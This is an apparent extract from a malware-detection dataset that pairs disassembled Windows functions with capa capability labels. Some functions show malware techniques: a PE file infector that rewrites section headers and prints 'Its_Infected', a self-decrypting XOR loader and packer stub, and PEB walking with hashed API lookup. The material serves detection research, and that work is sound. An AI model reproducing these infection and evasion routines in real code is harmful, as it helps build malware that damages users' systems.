joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402b4e
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp byte [ebp + 0xc], bl
push esi
push ebx
je 0x402b6c
push 0x8000000
push 3
push ebx
push 3
push 0xc0000000
jmp 0x402b7b
push 0x80
push 3
push ebx
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
or esi, 0xffffffff
mov dword [0x408bd8], eax
cmp eax, esi
je 0x402d69
cmp eax, ebx
je 0x402d69
cmp byte [ebp + 0xc], bl
push ebx
push ebx
push ebx
je 0x402bab
push 0x8000004
jmp 0x402bad
push 2
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, esi
mov dword [0x408bdc], eax
je 0x402d62
cmp eax, ebx
je 0x402d62
cmp byte [ebp + 0xc], bl
push ebx
push ebx
push ebx
je 0x402bd9
push 0xf001f
jmp 0x402bdb
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, esi
mov dword [0x408bf0], eax
je 0x402d5b
cmp eax, ebx
je 0x402d5b
push ebx
push dword [0x408bd8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, esi
mov dword [0x408bec], eax
je 0x402d46
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 0x40
push dword [0x408bf0]
call esi
test eax, eax
jne 0x402d81
mov ecx, dword [0x408bf0]
mov dword [0x408bf4], ecx
cmp word [ecx], 0x5a4d
jne 0x402d4d
mov eax, dword [ecx + 0x3c]
push 0xf8
add eax, ecx
push eax
mov dword [0x408bf8], eax
call esi
test eax, eax
jne 0x402d81
mov eax, dword [0x408bf8]
mov cx, word [eax + 4]
cmp cx, 0x8664
jne 0x402ce0
mov eax, dword [0x408bf4]
mov word [0x408c04], cx
push 0x108
mov eax, dword [eax + 0x3c]
add eax, dword [0x408bf0]
push eax
mov dword [0x408bfc], eax
call esi
test eax, eax
jne 0x402d81
mov eax, dword [0x408bfc]
movzx ecx, word [eax + 6]
mov dword [0x408be8], ecx
mov ecx, dword [eax + 0x90]
mov dword [0x408be0], ecx
mov ecx, dword [eax + 0x88]
add eax, 0x108
mov dword [0x408be4], ecx
mov dword [0x408c00], eax
mov eax, dword [ebp + 0x10]
mov byte [eax], 1
mov eax, dword [0x408bfc]
cmp dword [eax + 0xf8], ebx
je 0x402d35
cmp dword [eax + 0xfc], ebx
jmp 0x402d2b
cmp cx, 0x14c
jne 0x402d81
mov word [0x408c04], cx
movzx ecx, word [eax + 6]
mov dword [0x408be8], ecx
mov ecx, dword [eax + 0x80]
mov dword [0x408be0], ecx
mov ecx, dword [eax + 0x78]
mov dword [0x408be4], ecx
lea ecx, [eax + 0xf8]
mov dword [0x408c00], ecx
cmp dword [eax + 0xe8], ebx
je 0x402d35
cmp dword [eax + 0xec], ebx
jbe 0x402d35
mov eax, dword [ebp + 0x14]
mov byte [eax], 1
jmp 0x402d3a
mov eax, dword [ebp + 0x14]
mov byte [eax], bl
push 0x28
push dword [0x408c00]
call esi
jmp 0x402d81
push str.Fail_To_Get_File_Size_n_n
jmp 0x402d52
push str.Its_Not_An_Executable_n_n
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
jmp 0x402d81
push str.Fail_To_Map_View_n_n
jmp 0x402d52
push str.Fail_To_Create_Mapping_n_n
jmp 0x402d52
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 8]
push str.Fail_To_Create_File__s__d__n_n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0xc
xor eax, eax
pop esi
cmp eax, dword [0x408be8]
pop ebx
sbb eax, eax
neg eax
pop ebp
ret
Function at 0x402d91
Capabilities:
Read file via mapping

Disassembly:
push ecx
push ebx
xor ebx, ebx
cmp dword [esp + 0xc], ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], ebx
je 0x402e61
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x402e51
cmp eax, ebx
je 0x402e61
push ebx
push ebx
push ebx
push 2
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x402e46
cmp ebp, ebx
je 0x402e51
push ebx
push ebx
push ebx
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, 0xffffffff
je 0x402e3b
cmp edi, ebx
je 0x402e46
push 0x40
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x402e3b
mov esi, dword [edi + 0x3c]
push 0xf8
add esi, edi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x402e3b
cmp esi, ebx
je 0x402e3b
cmp dword [esi], 0x4550
jne 0x402e3b
mov ax, word [esi + 4]
mov word [esp + 0x10], ax
cmp edi, ebx
je 0x402e46
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp ebp, ebx
je 0x402e51
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x18], ebx
je 0x402e61
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ax, word [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x403089
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.004064f0
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
mov byte [ebp - 2], bl
mov byte [ebp - 1], bl
je 0x4031e6
push dword [ebp + 8]
call fcn.00405d3f
test al, al
pop ecx
je 0x4031e6
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 2]
push eax
push 1
push dword [ebp + 8]
call fcn.00402b4e
add esp, 0x10
test al, al
je 0x4031e6
cmp byte [ebp - 1], bl
jne 0x4031e6
lea eax, [ebp - 3]
mov byte [ebp - 3], bl
push eax
call fcn.00402a1e
test al, al
pop ecx
jne 0x4031da
mov eax, dword [0x408be8]
mov ecx, dword [0x408c00]
mov esi, 0x1000
lea eax, [eax + eax*4]
or dword [ecx + eax*8 - 4], 0xc0000020
add dword [ecx + eax*8 - 0x18], esi
cmp byte [ebp - 2], bl
lea eax, [ecx + eax*8 - 0x28]
mov eax, dword [0x408bfc]
jne 0x403127
mov eax, dword [0x408bf8]
add dword [eax + 0x50], esi
mov eax, dword [ebp + 0xc]
mov byte [eax], 1
push dword [0x408bec]
push dword [0x408bf0]
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
test eax, eax
je 0x4031e6
mov eax, dword [0x408bf0]
cmp eax, ebx
je 0x403160
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [0x408bf0], ebx
mov eax, dword [0x408bdc]
cmp eax, ebx
je 0x403176
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x408bdc], ebx
push 2
push ebx
push ebx
push dword [0x408bd8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4031e6
push edi
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1007]
mov byte [ebp - 0x1008], bl
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1008]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push ebx
push eax
lea eax, [ebp - 0x1008]
push esi
push eax
push dword [0x408bd8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
pop edi
je 0x4031e6
mov bl, 1
jmp 0x4031e6
push str.Its_Infected_n
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
call fcn.00402b08
mov al, bl
pop esi
pop ebx
leave
ret
Function at 0x403f29
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
jne 0x403f41
xor al, al
jmp 0x404044
push edi
xor eax, eax
lea edi, [ebp - 7]
mov byte [ebp - 8], bl
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x147]
mov byte [ebp - 0x148], bl
push 0xf
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x47]
mov byte [ebp - 0x48], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x247]
mov byte [ebp - 0x248], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__splitpath]
lea eax, [ebp - 0x148]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x18
test eax, eax
pop edi
je 0x404042
lea eax, [ebp - 0x48]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x404042
lea eax, [ebp - 8]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x148]
push eax
jne 0x403ffd
push str._s_s.bak
lea eax, [ebp - 0x248]
push 0xfe
push eax
call fcn.0040200e
add esp, 0x14
jmp 0x40401a
lea eax, [ebp - 8]
push eax
push str._s_s_s.bak
lea eax, [ebp - 0x248]
push 0x100
push eax
call fcn.0040200e
add esp, 0x18
lea eax, [ebp - 0x248]
push eax
call fcn.00405d3f
test al, al
pop ecx
je 0x404042
push ebx
lea eax, [ebp - 0x248]
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x404042
mov bl, 1
mov al, bl
pop ebx
leave
ret
Function at 0x406548
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4071d8
push 0x406530
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x408c18], 0xffffffff
or dword [0x408c1c], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x408c14]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x408c10]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x408c20], eax
call fcn.00406679
cmp dword [0x408bd0], 0
jne 0x4065cb
push 0x406676
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00406664
push 0x40800c
push 0x408008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x408c0c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x408c08]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x408004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call section..text
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x2e00206e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x2e00207d
pop dword [ebp - 0x14]
mov eax, 0x6168e263
add eax, 0xcc973e1a
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xa616f231
sub dword [ebp - 0x24], 0x57c4ace6
mov dword [ebp - 0x20], 0x15806cc8
sub dword [ebp - 0x20], 0xe34d2083
mov dword [ebp - 0x1c], 0xc3111f2a
add dword [ebp - 0x1c], 0x893b2504
mov dword [ebp - 0x18], 0x1bc1a596
add dword [ebp - 0x18], 0xe43e5a6a
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x2c4135bd
sub dword [ebp - 0x24], 0xb7cecc67
mov dword [ebp - 0x20], 0xf5133739
add dword [ebp - 0x20], 0x4c592a3c
mov dword [ebp - 0x1c], 0x6ac0cb0a
sub dword [ebp - 0x1c], 0x7515e9e
mov dword [ebp - 0x18], 0xdd5482dd
add dword [ebp - 0x18], 0x22ab7d23
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x3576eab3
add eax, 0xf88c3609
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x435e1
push 0
call eax
mov ecx, 0x50b0
mov ebx, eax
mov edx, 0x2e056e00
add edx, dword [ebp - 0x14]
mov edi, 0xdcd75039
sub dword [ebp - 8], 0x43c3462a
mov esi, dword [edx]
add dword [ebp - 0x10], 0x346c921e
xor esi, edi
sub dword [ebp - 8], ebx
mov dword [ebx], esi
sub dword [ebp - 0xc], 0x16028aec
add ebx, 0xf05610a2
add ebx, 0xfa9ef62
add edx, 4
loop 0x2e002188
add eax, 0x13593
xor ebx, ebx
add ebx, eax
add eax, 0x73e62490
sub eax, 0x73e6248b
mov ecx, 0xdbc30933
add ecx, 0x523cf6cd
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x2e013ece
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e03021f
call fcn.2e00153c
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014c10
test ax, ax
je 0x2e013f76
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e013f76
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f6d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e00206e
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f60
push esi
mov ecx, edi
call fcn.2e010c49
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e00206e
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e001586
ret
Function at 0x2e0149fe
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x28
mov eax, 0x2e030292
call fcn.2e02e16c
mov esi, dword [ebp + 8]
xor eax, eax
mov bl, al
mov edi, dword [ebp + 0xc]
cmp dword [ecx + 0x10], eax
jbe 0x2e014b02
push ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.2e0148ed
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push esi
call fcn.2e010b76
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014ac0
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x2e032941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014ab7
mov eax, dword [ebp - 0x2c]
inc eax
push eax
call fcn.2e00206e
mov esi, eax
pop ecx
mov dword [ebp - 0x34], esi
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push eax
push esi
push 0
push 0
push 0x2e032941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014aa9
push esi
mov ecx, edi
call fcn.2e010c49
mov bl, 1
push 1
push esi
mov byte [ebp - 4], 0
call fcn.2e00206e
pop ecx
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e014b02
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 2
cmp eax, 0x1000
jb 0x2e014af9
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.2e00206e
mov eax, dword [ebp - 0x2c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x34]
push eax
push ecx
call fcn.2e00206e
pop ecx
pop ecx
mov al, bl
call fcn.2e02e14a
ret 8

Function at 0x2e014b3c
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e0302bf
call fcn.2e00153c
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014b76
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014bdc
lea eax, [ebp - 0x14]
mov edi, 0x2e032941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014bd3
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014bd3
inc eax
push eax
call fcn.2e00206e
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014bc5
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010c49
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e00206e
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e001586
ret 8
Function at 0x2e01e341
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2e030586
call fcn.2e02e16c
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
mov edi, ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e01e45f
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01e456
mov eax, dword [ebp - 0x30]
inc eax
push eax
call fcn.2e00206e
mov esi, eax
pop ecx
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
inc ecx
test eax, eax
jne 0x2e01e449
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
call fcn.2e010c49
push str.IE.HTTP
lea ecx, [ebp - 0x28]
call fcn.2e00206e
test al, al
jne 0x2e01e3fc
push ebx
push str.AppX
lea ecx, [ebp - 0x28]
call fcn.2e00206e
push 1
test eax, eax
pop edx
cmove edi, edx
jmp 0x2e01e3ff
xor edx, edx
inc edx
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e01e439
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov byte [ebp - 4], dl
cmp eax, 0x1000
jb 0x2e01e430
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.2e00206e
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x38]
push eax
push ecx
call fcn.2e00206e
pop ecx
pop ecx
xor ecx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
inc ecx
mov byte [ebp - 0x28], bl
or dword [ebp - 4], 0xffffffff
push ecx
push esi
call fcn.2e00206e
pop ecx
pop ecx
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, di
call fcn.2e02e14a
ret
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x194c4ac6
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x4bba5dda
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x402460
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
mov eax, dword [0x434018]
xor eax, esp
mov dword [esp + 0x44], eax
mov ecx, dword [0x4b1e00]
push esi
push edi
xor esi, esi
mov dword [esp + 0x14], edx
mov eax, dword [ecx + 0x3c]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov dword [esp + 0x1c], eax
mov edi, dword [eax + 0x20]
mov eax, dword [eax + 0x18]
add edi, ecx
mov dword [esp + 0x18], eax
test eax, eax
je 0x40254d
nop
mov edx, dword [edi]
xorps xmm0, xmm0
add edx, ecx
movaps xmmword [esp + 0x20], xmm0
mov eax, edx
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
lea ecx, [eax + 1]
mov dword [esp + 0x10], ecx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4024d5
sub eax, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push eax
push edx
call fcn.00404c30
cmp dword [esp + 8], 0
jbe 0x402505
lea ecx, [esp + 0x20]
call fcn.004020e0
test eax, eax
je 0x402505
cmp eax, dword [esp + 0x14]
je 0x402564
mov ecx, dword [esp + 0x34]
add edi, 4
cmp ecx, 0x10
jb 0x40253e
mov edx, dword [esp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402534
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4025c1
push ecx
push edx
call fcn.0040926c
add esp, 8
mov ecx, dword [esp + 8]
inc esi
cmp esi, dword [esp + 0x18]
jb 0x4024b0
mov eax, dword [esp + 0xc]
add eax, ecx
mov ecx, dword [esp + 0x4c]
pop edi
pop esi
xor ecx, esp
call fcn.0040922e
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + esi*2]
movzx ecx, word [eax + ecx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 8]
mov eax, dword [eax + ecx]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x34]
cmp eax, 0x10
jb 0x40254d
mov edx, dword [esp + 0x20]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4025b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4025c1
push ecx
push edx
call fcn.0040926c
mov ecx, dword [esp + 0x10]
add esp, 8
jmp 0x40254d
call fcn.0040fd53
int3
Function at 0x4029a0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
clc
jae 0x4029ae
call 0x63e280
add byte [eax], al
mov eax, 0x23
cmp eax, 0x100
jl 0x4029bc
call 0x3dcb8e3a
xor byte [eax], al
add byte [eax], al
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4b1e00], eax
mov edx, 0xda4c2ca8
call fcn.00402460
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
call edx
stc
jb 0x4029ec
jmp 0x16b8e4e5
mov edx, str.DybcyAUIuse
mov ecx, 0x435180
call fcn.00404760
mov edi, eax
mov ecx, dword [edi]
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + edi + 0x30]
mov esi, dword [ecx + 4]
mov ecx, esi
mov dword [ebp - 4], esi
mov edx, dword [esi]
call dword [edx + 4]
lea eax, [ebp - 8]
push eax
call fcn.00404f20
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
call dword [edx + 0x30]
movzx ebx, ax
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
test eax, eax
je 0x402a3e
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push ebx
mov ecx, edi
call fcn.00405770
mov ecx, edi
call fcn.004043f0
push 8
call fcn.0040923c
add esp, 4
mov esi, eax
push 4
call fcn.0040923c
add esp, 4
lea edi, [esi + 4]
mov dword [eax], 0x402890
push edi
push 0
push eax
push 0x405a20
push 0
push 0
call fcn.0040db3a
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x402aeb
cmp dword [edi], 0
je 0x402af8
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [edi], eax
je 0x402aff
push 0
push dword [esi + 4]
push dword [esi]
call fcn.00408b87
add esp, 0xc
test eax, eax
jne 0x402b06
mov dword [esi], eax
mov ecx, 0x435180
mov dword [esi + 4], eax
mov eax, dword [0x435180]
push esi
mov edx, dword [eax + 4]
add edx, 0x435194
mov eax, dword [edx]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [edx], eax
call fcn.00402b10
mov edx, 0x431684
mov ecx, eax
call fcn.00404760
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 6
mov dword [edi], 0
call fcn.00405cee
push 1
call fcn.00405cee
push 5
call fcn.00405cee
push 2
call fcn.00405cee
int3